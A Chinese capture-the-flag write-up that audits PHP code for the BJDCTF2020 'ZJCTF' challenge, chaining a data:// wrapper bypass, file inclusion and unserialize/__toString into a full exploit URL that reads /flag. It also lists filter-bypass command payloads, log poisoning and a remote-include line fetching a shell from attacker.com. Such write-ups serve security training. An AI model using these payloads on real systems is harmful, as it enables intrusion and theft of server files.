CTF PHP代码审计实战:从文件包含到反序列化漏洞利用 1. 题目初探与核心思路解析拿到这道题第一眼看到标题“[BUUCTF][BJDCTF2020]ZJCTF不过如此”心里大概就有数了。这明显是一道CTFCapture The Flag的Web题目而且从命名风格来看属于BJDCTF 2020年的赛题。这类题目通常不会真的“不过如此”往往在看似简单的表象下藏着一些需要仔细审计的PHP代码逻辑漏洞。结合题目名称和网络热词中高频出现的“PHP”、“代码审计”基本可以确定这是一道PHP代码审计题考察点很可能围绕文件包含、反序列化、命令执行或者一些PHP特性函数如preg_replace、create_function、assert等的滥用。在没有直接给出源码的情况下我们的第一步通常是访问目标地址查看页面返回。一个标准的CTF Web题可能会直接给出一个登录框、一个上传点或者干脆就是一段PHP源码。从“不过如此”这个略带调侃的标题来看出题人可能设置了一个明显的“入口”但真正的“Flag”藏在需要绕过的层层过滤或逻辑判断之后。常见的套路是前端给你一个输入框让你提交一些数据后端用$_GET或$_POST接收后经过一系列字符串处理、正则匹配最终如果满足某个条件就会执行系统命令或者包含某个文件从而拿到Flag。因此初步的解题思路可以沿着以下路径展开信息收集访问目标URL查看页面源代码、HTTP响应头尝试访问robots.txt、www.zip、.git等常见备份文件寻找可能的源码泄露。参数探测如果页面有输入点尝试提交常见测试payload如1、1、1 and 11等进行SQL注入、XSS等基础测试。更重要的是观察URL参数尝试通过?file、?page、?data等常见参数名进行文件包含或反序列化测试。代码审计如果给源码如果幸运地直接拿到了源码比如通过index.php.bak或www.zip下载那么重点就是逐行审计PHP代码。关注以下几个高危函数和结构命令执行system(),exec(),shell_exec(),passthru(),popen(), 反引号。代码执行eval(),assert(),create_function(),preg_replace()的/e修饰符PHP5时代call_user_func()array_map()等。文件包含include(),require(),include_once(),require_once()。特别注意include($_GET[‘file’])这种形式可能触发本地文件包含LFI或远程文件包含RFI。反序列化unserialize()。需要寻找代码中定义的类并分析其__wakeup(),__destruct(),__toString()等魔术方法看是否能在反序列化时触发危险操作。字符串处理与正则preg_match(),str_replace(),substr(),trim()等。这些函数可能用于构造过滤规则我们需要寻找规则缺陷进行绕过。利用与构造Payload根据审计发现的漏洞点构造相应的Payload。例如对于文件包含可能需要使用php://filter协议读取源码或者包含/etc/passwd等系统文件对于命令执行需要绕过可能的escapeshellcmd()等过滤使用管道符、空格绕过、编码等手段。这道题既然被标记为“不过如此”很可能存在一个经典的、教科书式的漏洞比如一个未经过滤的include或者一个简单的eval($_GET[‘cmd’])被藏在了某个条件分支里。我们的任务就是找到它并利用它。2. 典型PHP代码审计漏洞点深度剖析既然这是一道PHP代码审计题我们有必要把常见的、在CTF中高频出现的PHP漏洞类型和关键函数再梳理一遍形成肌肉记忆。这样在拿到源码或通过其他方式看到部分代码时能快速定位到可能的危险区域。2.1 命令执行与代码执行类这是最直接的一类漏洞能让攻击者在服务器上执行任意代码或系统命令。eval()和assert()这两个函数都会将其字符串参数作为PHP代码来执行。eval()是语言构造器assert()在PHP 7.2之前默认执行代码之后行为有变化但在CTF老环境中依然常见。如果发现eval($_GET[‘input’])那就是“送分题”但出题人往往会加上一些过滤。绕过技巧如果过滤了引号、分号等可以考虑使用$_GET[x]($$_GET[y])这种可变函数调用或者利用PHP的字符串解析特性。例如${_GET[a]}在某些情况下可以执行。system(),exec()等命令执行函数这些函数用于调用系统命令。漏洞点在于其参数是否用户可控且未过滤。绕过技巧如果过滤了空格可以用${IFS}、$IFS$9、、、%09Tab等代替。如果过滤了某些关键词可以用拼接、通配符*、?、编码base64、hex等方式。例如echo$IFS$9Y2F0IC9mbGFn|base64$IFS$9-d|sh。preg_replace()的/e修饰符在PHP5中preg_replace的/e修饰符允许第二个参数替换字符串被当作PHP代码执行。例如preg_replace(“/.*/e”, $_GET[‘cmd’], “.”)。这在PHP7中已被移除但老题目中常见。create_function()创建一个匿名函数。其函数体由字符串拼接而成如果用户输入被拼接进去可能造成代码执行。例如$func create_function(‘$a’, ‘echo $a . ‘ . $_GET[‘input’] . ‘;’);。回调函数类call_user_func(),array_map(),array_filter(),usort()等如果其回调函数参数用户可控也可能导致代码执行。例如call_user_func($_GET[‘func’], $_GET[‘param’])。2.2 文件包含类文件包含漏洞允许攻击者包含并执行服务器上的其他文件LFI甚至远程服务器上的文件RFI。include/require关键看包含的文件路径是否用户可控。例如include($_GET[‘page’] . ‘.php’)。LFI利用读取源码使用php://filter协议。例如?filephp://filter/readconvert.base64-encode/resourceindex.php会以base64编码形式返回index.php的源码解码即可。包含日志文件包含Web服务器的访问日志如/var/log/apache2/access.log在User-Agent中插入PHP代码再包含该日志文件即可执行代码。包含Session文件如果知道Session ID可以尝试包含Session文件如/tmp/sess_[sessionid]。包含/proc/self/environ环境变量可能包含User-Agent等信息可被注入。RFI利用需要allow_url_include设置为On默认Off。可以直接包含远程服务器上的恶意PHP文件?filehttp://attacker.com/shell.txt注意后缀可能需要对方服务器能解析PHP。文件包含结合伪协议除了php://filterdata://协议也常用于执行代码。例如?filedata://text/plain,?php system(‘ls’);?。但这同样需要allow_url_include开启。2.3 反序列化类这是PHP代码审计中较难但非常经典的一类漏洞。核心函数是unserialize()。漏洞原理当unserialize()一个用户可控的序列化字符串时会还原出对应的对象并自动调用该对象的__wakeup()方法。在对象被销毁时会调用__destruct()方法。如果这些魔术方法中包含了危险操作如文件操作、命令执行并且操作的对象属性用户可通过序列化字符串控制就可能造成漏洞。审计步骤在源码中全局搜索unserialize()找到反序列化点。寻找代码中定义的类分析其__wakeup(),__destruct(),__toString(),__call()等魔术方法。构造一个该类的对象并精心设置其属性使得在反序列化后执行魔术方法时能触发危险操作。将这个对象序列化并将序列化后的字符串传递给反序列化点。POP链构造更复杂的情况是一个类的魔术方法调用了另一个类的方法或属性这就需要我们将多个类“链”起来形成一条属性导向的编程POP链最终达到执行任意代码的目的。这需要对代码逻辑有更深入的理解。2.4 字符串处理与正则过滤绕过出题人不会让你直接执行eval($_GET[‘cmd’])总会加上一些过滤。这时就需要绕过。黑名单过滤用str_replace()、preg_replace()等函数过滤掉一些关键词如flag、system、cat、空格、/等。双写绕过如果str_replace(“flag”, “”, $input)只执行一次可以用flflagag绕过过滤后变成flag。大小写绕过SyStEm。拼接绕过$a’sys’;$b’tem’;$c$a.$b; $c(‘ls’)。编码绕过使用base64、hex、rot13等编码。例如system(base64_decode(‘Y2F0IC9mbGFn’))。通配符绕过在命令执行中cat fla*、cat fla?。空变量、特殊变量绕过cat${IFS}flag、cat$IFS$9flag。正则匹配preg_match()通常用于检测输入是否符合某种模式。绕过正则需要理解其模式。多行匹配绕过如果正则用了/^...$/m多行模式可能通过添加换行符%0a来绕过。回溯限制绕过PCRE利用正则引擎的回溯机制构造超长字符串使其耗尽回溯次数从而绕过匹配。这就是著名的preg_match绕过导致PHP代码执行如某些WAF绕过。数组绕过preg_match()处理数组会返回false并报错但有时可以利用这个特性使检测失效。例如如果代码是if(preg_match(‘/flag/’, $_GET[‘input’])) { die(); }那么传入input[]payloadpreg_match会对数组进行处理返回false且可能产生警告但程序可能继续执行。3. 针对“ZJCTF不过如此”的实战推演与信息收集现在让我们把目光拉回到这道具体的题目。由于没有给出直接的源码或URL我们需要基于CTF解题的一般流程进行推演。假设我们通过平台如BUUCTF访问到了这道题。首先使用浏览器或curl命令访问目标地址。一个典型的返回可能是一个简单的PHP页面上面写着“ZJCTF不过如此”或者有一个输入框。我们按下F12仔细查看网页源代码。有时Flag或提示会藏在HTML注释里。用curl -i [URL]查看HTTP响应头有时也有惊喜。假设我们在页面源代码中发现了如下提示!-- $text $_GET[text]; $file $_GET[file]; if(isset($text)(file_get_contents($text,r)I have a dream)){ echo brh1.file_get_contents($text,r)./h1/br; if(preg_match(/flag/,$file)){ die(Not now!); } include($file); //next.php } else { highlight_file(__FILE__); } --这简直是一个教科书式的文件包含代码审计题源码以注释形式直接给出了。我们来分析一下这段代码通过$_GET获取两个参数text和file。首先检查text参数是否存在并且通过file_get_contents($text, ‘r’)读取的内容是否严格等于字符串I have a dream。如果条件满足则输出这个内容然后检查file参数中是否包含字符串flag如果包含则直接die。如果file参数不包含flag则执行include($file)并提示包含的文件是next.php。如果第一个条件不满足则使用highlight_file(__FILE__)高亮显示当前文件也就是给出这段源码。我们的目标显然是触发include($file)并且最终要读取到Flag通常flag在/flag或flag.php等文件中。但现在有两个障碍如何满足file_get_contents($text, ‘r’) “I have a dream”如何绕过preg_match(“/flag/”, $file)的检测最终包含到含有flag的文件解决第一个障碍file_get_contents()不仅可以读取文件还可以通过data://或php://input等伪协议读取数据。要让它的返回值等于I have a dream最简单的方法是使用data协议textdata://text/plain,I have a dream。这样file_get_contents会直接读取这个字符串条件满足。解决第二个障碍preg_match检测$file中是否包含flag字符串。我们的目标是包含/flag或flag.php直接写肯定被拦截。这里就需要绕过了。常见的绕过方法利用PHP伪协议php://filter在读取文件时路径部分resource后面如果包含flag是否会被检测这取决于preg_match执行的时间点。preg_match是在include之前执行的所以它检测的是我们传入的$file参数字符串。如果我们传入filephp://filter/readconvert.base64-encode/resource/flag这个字符串里确实包含flag会被拦截。那怎么办嵌套包含或路径穿越也许next.php里面还有别的逻辑。题目提示include($file); //next.php可能暗示我们包含next.php本身或者包含一个不包含flag字符串但能间接读到flag的文件。例如如果服务器上存在/proc/self/fd/xx或日志文件我们可以先包含它们写入代码再二次包含执行。但这需要条件。大小写正则/flag/是区分大小写的吗默认是区分大小写的。所以Flag、FLAG不会被匹配。但系统文件名通常是flag小写所以用处不大。编码或二次包含一个更可行的思路是既然我们能控制include的文件我们可以先包含一个我们可控的、文件名中不含flag的文件比如通过text参数写入的临时文件然后在这个被包含的文件中再去读取/flag。但这需要我们能写入文件。等等我们是不是忽略了什么再看源码if(preg_match(“/flag/”,$file)){ die(“Not now!”); }。它只检查了$file变量本身是否包含flag。如果我们让$file等于next.php呢这是代码注释里提到的文件应该存在。我们尝试?textdata://text/plain,I have a dreamfilenext.php。访问这个链接如果一切顺利我们应该会看到next.php页面的内容。这很可能就是题目的第二阶段。我们需要对next.php进行同样的代码审计。4. 第二阶段代码审计与POP链构造实战假设我们成功通过第一关看到了next.php的源码或者通过php://filter读取到了它的源码。next.php的代码可能更加复杂涉及类与反序列化。例如我们可能看到如下代码?php error_reporting(0); $txt $_GET[txt]; $file $_GET[file]; $password $_GET[password]; if(isset($txt)(file_get_contents($txt,r)welcome to the zjctf)){ echo brh1.file_get_contents($txt,r)./h1/br; if(preg_match(/flag/,$file)){ echo Not again!; exit(); }else{ include($file); $password unserialize($password); echo $password; } }else{ highlight_file(__FILE__); } ?以及同目录下可能有一个useless.php?php class Flag{ public $file; public function __tostring(){ if(isset($this-file)){ echo file_get_contents($this-file); echo br; return (Good Job!); } } } ?现在情况清晰了。第二关有三个参数txt,file,password。txt参数和第一关类似需要满足file_get_contents($txt, ‘r’) “welcome to the zjctf”。我们故技重施txtdata://text/plain,welcome to the zjctf。file参数同样被检测是否包含flag我们可以先让它包含一个无害的文件比如fileuseless.php目的是把Flag类加载到当前上下文中为后面的反序列化做准备。password参数会被unserialize()反序列化然后直接echo。这里的关键是unserialize($password)和echo $password。echo一个对象时如果该对象定义了__toString()方法就会自动调用这个方法。看useless.php中的Flag类它正好有一个__toString()方法这个方法会读取$this-file属性指向的文件内容并输出。那么攻击思路就形成了我们构造一个Flag类的对象将其file属性设置为Flag文件的路径例如/flag或flag.php然后将这个对象序列化把序列化后的字符串作为password参数的值传递过去。流程如下反序列化password字符串还原出我们构造的Flag对象。echo这个对象触发其__toString()方法。__toString()方法执行file_get_contents($this-file)即读取/flag文件。文件内容被输出到页面上我们就拿到了Flag。构造Payload首先我们需要序列化一个Flag对象。可以写一个简单的PHP脚本?php class Flag{ public $file; } $f new Flag(); $f-file ‘/flag‘; // 或者 ‘flag.php‘根据实际情况尝试 echo serialize($f); ?运行这个脚本得到序列化字符串O:4:”Flag”:1:{s:4:”file”;s:5:”/flag”;}。现在组装最终的URLhttp://[target]/next.php?txtdata://text/plain,welcome%20to%20the%20zjctffileuseless.phppasswordO:4:%22Flag%22:1:{s:4:%22file%22;s:5:%22/flag%22;}访问这个URL应该就能在页面上看到Flag的内容了。这里有几个重要的实操细节和可能遇到的坑文件路径Flag可能不在根目录的/flag而在Web目录下的flag.php或者叫flag.txt。需要尝试。有时包含flag.php会直接执行其中的PHP代码如果代码只是定义了一个变量$flag’xxx’;那么直接包含不会输出需要结合php://filter读取源码。在我们的Payload中__toString()里的file_get_contents是读取文件内容不是包含执行所以对于flag.php它读取到的是PHP源码可能包含Flag字符串这通常是可行的。魔法引号或过滤如果平台开启了magic_quotes_gpc老版本PHP它会自动转义单引号、双引号等可能会破坏我们的序列化字符串。我们的Payload中使用了双引号需要检查。不过现代CTF环境通常关闭此选项。如果遇到问题可以尝试对序列化字符串进行URL编码如上例所示或者使用S类型表示序列化字符串中的字符可处理特殊字符。__wakeup()干扰如果Flag类中定义了__wakeup()方法并且在方法中重置了$file属性我们的攻击就会失败。本题的Flag类没有__wakeup()所以没问题。包含顺序一定要先通过fileuseless.php包含类定义文件否则反序列化时PHP找不到Flag类会将其反序列化为一个__PHP_Incomplete_Class对象__toString()方法不会触发。5. 总结与举一反三CTF PHP审计的核心心法通过这道“不过如此”的题目我们可以提炼出解决此类PHP代码审计题的一套通用心法第一步信息收集与入口定位永远从浏览器直接访问开始查看页面、源码、响应头。尝试常见源码泄露路径.git,.svn,.DS_Store,www.zip,index.php.bak等。扫描目录使用dirsearch等工具寻找其他可访问文件。观察URL参数尝试常见参数名file,page,id,cmd,data等。第二步代码通读与危险函数定位如果拿到源码立即全局搜索危险函数eval,assert,system,include,require,unserialize等。分析这些函数附近的代码逻辑特别是用户输入$_GET,$_POST,$_COOKIE是如何传递到这些函数的。注意条件判断、循环和过滤函数preg_match,str_replace,trim等。第三步逻辑梳理与漏洞串联不要孤立地看一个函数。理解整个程序的执行流程。用户输入从哪里进经过哪些处理最后到哪里去。寻找“校验-执行”逻辑的分离点。常见模式是先进行一系列严格的校验如果都通过则执行某个危险操作。我们的目标就是绕过校验或者让校验逻辑失效。注意文件包含漏洞的“链式”利用。一个包含点可能读不到flag但可以包含日志、Session、环境变量文件或者包含一个能写文件如php://inputfile_put_contents的临时脚本为下一步攻击做准备。第四步Payload构造与绕过针对字符串过滤熟练掌握各种绕过技巧编码、拼接、通配符、特殊变量、空格替换等。针对正则匹配理解其模式尝试多行、数组、回溯限制等绕过方式。对于反序列化画出类的继承关系和魔术方法调用链POP链。从__destruct()或__wakeup()等“自动调用”的方法开始反向推导需要控制哪些属性这些属性可能是另一个类的对象从而形成链。善用PHP伪协议。php://filter用于读取源码data://和php://input用于传递可控数据phar://可以触发反序列化phar反序列化漏洞。第五步测试与迭代构造的Payload先在本地或自己的测试环境验证确保逻辑正确。提交到题目环境仔细观察返回结果。错误信息即使被屏蔽有时也能通过时间延迟、差异对比等方式提供线索。如果一种方法不行快速切换思路尝试其他可能性。CTF题往往有多种解法。回到本题它巧妙地将两个常见漏洞结合第一关是简单的伪协议绕过和文件包含带过滤第二关则是反序列化触发__toString()进行文件读取。题目难度适中但完整覆盖了信息收集、代码审计、逻辑绕过、POP链构造等多个知识点作为入门到进阶的练习非常合适。称之为“不过如此”或许是对解题者的一种鼓励意味着只要掌握了这些核心套路看似复杂的题目也能迎刃而解。在实际操作中耐心和细致的观察往往比复杂的技巧更重要。

相关新闻

最新新闻

第一次把手机投到电脑大屏,QtScrcpy这份新手手记帮你少走弯路

第一次把手机投到电脑大屏,QtScrcpy这份新手手记帮你少走弯路

第一次把手机投到电脑大屏,QtScrcpy这份新手手记帮你少走弯路 【免费下载链接】QtScrcpy Android real-time display control software 项目地址: https://gitcode.com/GitHub_Trending/qt/QtScrcpy 把手机画面实时投到电脑显示器上,再用键盘鼠标…

2026/8/17 1:55:30
VLM+RAG+智能体框架:构建AI驱动的运动员数字档案系统

VLM+RAG+智能体框架:构建AI驱动的运动员数字档案系统

1. 项目概述:当教练遇上AI,如何构建一个“懂行”的运动员数字档案在竞技体育和大众健身领域,教练的核心工作之一,就是为运动员或学员建立一份全面、动态的“档案”。这份档案不仅仅是身高、体重、百米成绩这些冰冷的数据&#xff…

2026/8/17 1:55:30
NCM转MP3一次拖拽就搞定:ncmdump免费转换实测

NCM转MP3一次拖拽就搞定:ncmdump免费转换实测

NCM转MP3一次拖拽就搞定:ncmdump免费转换实测 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 同样一首歌,怎么换个设备就突然“哑巴”了?很多人在网易云里攒了几百首歌,兴冲冲拷进车载…

2026/8/17 1:55:30
PotPlayer字幕翻译一键配置指南:3分钟免费解锁外语视频实时翻译

PotPlayer字幕翻译一键配置指南:3分钟免费解锁外语视频实时翻译

PotPlayer字幕翻译一键配置指南:3分钟免费解锁外语视频实时翻译 【免费下载链接】PotPlayer_Subtitle_Translate_Baidu PotPlayer 字幕在线翻译插件 - 百度平台 项目地址: https://gitcode.com/gh_mirrors/po/PotPlayer_Subtitle_Translate_Baidu 凌晨一点&a…

2026/8/17 1:55:30
3分钟搞定PotPlayer字幕翻译插件:免费实时双语字幕,告别外语生肉烦恼

3分钟搞定PotPlayer字幕翻译插件:免费实时双语字幕,告别外语生肉烦恼

3分钟搞定PotPlayer字幕翻译插件:免费实时双语字幕,告别外语生肉烦恼 【免费下载链接】PotPlayer_Subtitle_Translate_Baidu PotPlayer 字幕在线翻译插件 - 百度平台 项目地址: https://gitcode.com/gh_mirrors/po/PotPlayer_Subtitle_Translate_Baidu…

2026/8/17 1:55:30
浏览器媒体嗅探工具猫抓cat-catch完整指南:三步搞定网页视频与音频下载

浏览器媒体嗅探工具猫抓cat-catch完整指南:三步搞定网页视频与音频下载

浏览器媒体嗅探工具猫抓cat-catch完整指南:三步搞定网页视频与音频下载 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 刷到一段想永久…

2026/8/17 1:50:30